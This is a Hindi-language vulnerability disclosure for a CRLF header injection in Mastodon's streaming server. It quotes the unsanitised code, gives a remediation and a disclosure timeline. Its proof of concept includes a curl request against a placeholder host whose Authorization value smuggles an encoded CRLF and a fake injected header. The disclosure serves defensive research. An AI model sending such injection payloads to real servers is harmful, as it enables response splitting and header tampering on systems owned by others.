
Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection
| आइटम | विवरण |
|---|---|
| CVE ID | CVE-2026-XXXXX |
| प्रभावित उत्पाद | Mastodon (स्ट्रीमिंग सर्वर) |
| प्रभावित संस्करण | <= 4.5.9 |
| घटक | streaming/index.js लाइन 188-206 |
| भेद्यता प्रकार | HTTP रिस्पॉन्स हेडर इंजेक्शन / CRLF इंजेक्शन |
| CWE | CWE-74 |
| CVSS 3.1 | 6.5 (मध्यम) |
| आक्रमण वेक्टर | नेटवर्क |
| रिपोर्टर | qitian [email protected] |
जब WebSocket अपग्रेड अनुरोध प्रमाणीकरण में विफल हो जाता है, तो Mastodon स्ट्रीमिंग सर्वर streaming/index.js लाइन 188-206 में एक मैन्युअल HTTP रिस्पॉन्स बनाता है और socket.end() के माध्यम से errorMessage को \r या \n कैरेक्टर्स को सैनिटाइज़ किए बिना सीधे X-Error-Message रिस्पॉन्स हेडर में लिखता है।
यह एक अनप्रमाणित रिमोट हमलावर को मनमाने HTTP हेडर इंजेक्ट करने या HTTP रिस्पॉन्स स्प्लिटिंग करने की अनुमति देता है।
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
'Connection': 'close',
'Content-Type': 'text/plain',
'Content-Length': 0,
'X-Request-Id': request.id,
'X-Error-Message': errorMessage // NO CRLF sanitization
};
socket.end(
`HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}\r
` +
`${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('\r
')}\r
\r
`
);
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
http://TARGET:4000/api/v1/streaming/user
अपेक्षित: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Authorization: Bearer test%0d%0aX-Injected: evil" \
http://TARGET:4000/api/v1/streaming/user
socket हेडर में लिखने से पहले errorMessage को सैनिटाइज़ करें:
const sanitizedMessage = String(errorMessage || '')
.replace(/\r/g, '%0D')
.replace(/\n/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection
| दिनांक | घटना |
|---|---|
| 2026-04-22 | भेद्यता खोजी गई और PoC तैयार किया गया |
| 2026-04-22 | CVE रिपोर्ट MITRE / VDB को प्रस्तुत की गई |
अस्वीकरण: यह PoC केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है।